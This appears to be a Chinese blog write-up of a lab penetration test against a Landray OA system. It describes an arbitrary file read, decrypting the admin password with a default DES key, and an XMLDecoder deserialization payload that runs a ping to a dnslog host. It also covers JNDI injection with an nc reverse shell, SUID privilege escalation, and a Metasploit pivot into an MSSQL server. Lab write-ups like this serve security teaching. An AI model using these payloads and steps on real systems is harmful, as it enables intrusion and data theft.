某蓝凌OA靶场渗透测试全过程

admin 2025年2月15日22:07:25评论18 views字数 2244阅读7分28秒阅读模式

某蓝凌OA靶场渗透测试全过程

首先拿到OA,进入8080端口,显示界面如下

某蓝凌OA靶场渗透测试全过程

Google一下蓝凌OA有哪些漏洞,发现有任意文件读取漏洞和远程命令执行,尝试执行漏洞

某蓝凌OA靶场渗透测试全过程

利用post传参,构造如图payload,发现可以查看到password文件,发现这个参数可用,于是进一步查看配置文件/WEB-INF/KmssConfig/admin.properties

某蓝凌OA靶场渗透测试全过程

构造如图payload,可以看到password被加密,通过Google可以了解到这是DES加密,默认秘钥为kmssAdminkey,进行解密

某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程

使用解密得到的密码,登录admin.do

另一个漏洞思路  XML反序列化

通过google发现还有一个反序列化漏洞,依然会通过custom.jsp进行任意文件读取,然后访问/sys/search/sys_search_main/sysSearchMain.do,该url下有xml反序列化漏洞的存在,通过Google了解到xml参数为fdParameters,利用工具XMLDecoder-payload-generator自动生成payload

此时想利用ping dns来证明xml漏洞的可用性,于是构造了如图的payload

某蓝凌OA靶场渗透测试全过程

代码:

<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>oqy3om.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>

将payload插入到URL中

某蓝凌OA靶场渗透测试全过程

但是发现dnslog并没有记录

某蓝凌OA靶场渗透测试全过程

再三确认操作步骤无误后,猜测可能是该服务器设置了防火墙,导致ping无法出网,利用本机ping该服务器,也无法ping通,确定该服务器设置了防火墙

某蓝凌OA靶场渗透测试全过程

该思路gg

再换一个思路,找到一个看起来可以SQL注入的点,其URL为http://192.168.161.8:8080/km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=2&ordertype=down&s_ajax=true,orderby参数看起来可以注入,对其进行尝试。

某蓝凌OA靶场渗透测试全过程

抓包,得到包如下

某蓝凌OA靶场渗透测试全过程

存为文件,用sqlmap跑一下

sqlmap -r sql.txt -p orderby --dbs

但是跑不出来,显示该参数不可注入,很怪

某蓝凌OA靶场渗透测试全过程

Google一下教程,都显示可以在该点进行注入,但是一直失败

尝试一下用pangolin,结果惊到我了

某蓝凌OA靶场渗透测试全过程

居然是空的。我不理解

问了师傅,师傅说不会是空的,不然网站搭不起来,但是为什么是空的,我想不出来

最后还是回归JNDI注入,开始对工具进行魔改

通过前面的实验可以发现,工具默认的端口是无法连通的,所以要在源码中改端口,但是哪些端口可用依然不可知,所以拿常见端口一个一个试,将rmi服务端口改为80后,发现有反应了,wireshark可以抓取到流量

某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程

但是只抓取到了访问80端口的,并没有重定向来加载自定义类,说明另一个端口还没有猜对,同时,工具也报错某蓝凌OA靶场渗透测试全过程

再一遍遍的改端口打包运行,终于

某蓝凌OA靶场渗透测试全过程

80端口和1433端口都可以连通,而且工具也一切正常,没有报错

某蓝凌OA靶场渗透测试全过程

用curl命令测试恶意类是否可以执行

某蓝凌OA靶场渗透测试全过程

返回消息中存在恶意类中的信息,说明恶意类可以执行,然后加入payload,利用nc反弹shell

某蓝凌OA靶场渗透测试全过程

但是并没有效果,猜测可能是服务器中的nc版本没有-e选项,于是用反向代理

某蓝凌OA靶场渗透测试全过程

成功!nc拿到反弹shell

某蓝凌OA靶场渗透测试全过程

利用find查找可以以root权限执行的命令

find / -perm -u=s -type f 2>/dev/null

发现可以用find提权

接下来是拿数据库的shell

通过后台信息抓包得知数据库ip为10.10.10.2,账号为sa,密码为sa@Admin。因为已知是sqlserver,所以先尝试用3389看看可不可以连接,在这之前需要先建立隧道将已经拿到的服务器设为代理

某蓝凌OA靶场渗透测试全过程

用rdesktop连接,失败,似乎是没开3389

换个法子,将数据库的1433端口映射到本地的4444,直接连接,结果发现linux连接sqlserver需要下好多插件,太复杂,放弃,再换思路

决定直接用msf渗透提权了

首先生成后门程序

某蓝凌OA靶场渗透测试全过程

然后使用nc将文件传输过去,结果运行后并没有上线,发现生成的文件是空的,但是在本机上打开木马是可以上线的,没有想明白是什么原因,想到用scp进行传输,但是scp是基于ssh协议,需要密码,就很烦。想到可以在本机上开启http服务,用curl传过去,Python2内置的有SimpleHTTPServer版块,直接打开http服务,在靶机上使用curl,成功传过去,运行并上线

某蓝凌OA靶场渗透测试全过程

查看路由,发现有一个内网网段10.10.10.0/24,添加路由

某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程

然后添加socks5代理

某蓝凌OA靶场渗透测试全过程

利用msf的mssql渗透模块,对其进行渗透

某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程
某蓝凌OA靶场渗透测试全过程

OK!System权限!大功告成!

原文始发于微信公众号(藏剑安全):某蓝凌OA靶场渗透测试全过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日22:07:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某蓝凌OA靶场渗透测试全过程https://cn-sec.com/archives/1047430.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息